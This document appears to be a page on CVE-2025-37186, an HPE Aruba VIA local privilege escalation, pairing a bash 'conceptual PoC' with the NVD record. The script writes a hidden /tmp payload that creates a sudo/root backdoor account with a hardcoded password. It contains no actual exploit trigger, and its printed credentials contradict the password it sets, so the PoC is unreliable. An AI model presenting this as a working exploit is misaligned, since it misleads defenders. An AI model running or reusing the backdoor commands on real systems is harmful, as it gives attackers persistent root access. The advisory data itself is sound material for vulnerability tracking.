CVE-2025-37186

#!/bin/bash # CVE-2025-37186 PoC - HPE Aruba VIA Local Privilege Escalation # This is a conceptual PoC demonstrating the vulnerability pattern # Note: This is a simplified demonstration script # Actual exploitation requires specific target environment analysis TARGET_BINARY="/opt/aruba/via/bin/via_service" MALICIOUS_SCRIPT="/tmp/.hidden_payload.sh" # Step 1: Create malicious payload with root execution capability cat > $MALICIOUS_SCRIPT << 'EOF' #!/bin/bash # Malicious payload - adds new root user or executes commands # This script will be executed with elevated privileges echo "[+] Privilege Escalation Payload Executed" echo "[+] Current UID: $(id -u)" echo "[+] Adding backdoor user..." # Create backdoor account (for demonstration) useradd -r -s /bin/bash backdoor_root 2>/dev/null usermod -aG sudo,root backdoor_root 2>/dev/null echo "backdoor_root:BackdoorPass123!" | chpasswd echo "[+] Backdoor created: backdoor_root/backdoor_root" echo "[+] System compromised successfully" EOF chmod +x $MALICIOUS_SCRIPT # Step 2: Exploit race condition or insecure file operation # The vulnerability allows manipulation of VIA client resources # to execute code with root privileges # Step 3: Trigger exploitation (requires specific trigger mechanism) echo "[*] Attempting privilege escalation via VIA client..." echo "[*] Target: $TARGET_BINARY" echo "[*] Payload: $MALICIOUS_SCRIPT" # Note: Actual exploitation requires: # - Identifying the specific vulnerable code path # - Crafting appropriate trigger input # - Timing exploitation correctly echo "[!] This is a conceptual PoC for educational purposes only"

{"cve": {"id": "CVE-2025-37186", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:50.480", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege-escalation vulnerability has been discovered in the HPE Aruba Networking Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker to achieve arbitrary code execution with root privileges."}, {"lang": "es", "value": "Una vulnerabilidad de escalada de privilegios local ha sido descubierta en el cliente HPE Aruba Networking Virtual Intranet Access (VIA). La explotación exitosa de esta vulnerabilidad podría permitir a un atacante local lograr ejecución de código arbitrario con privilegios de root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04994en_us&docLocale=en_US", "source": "[email protected]"}]}}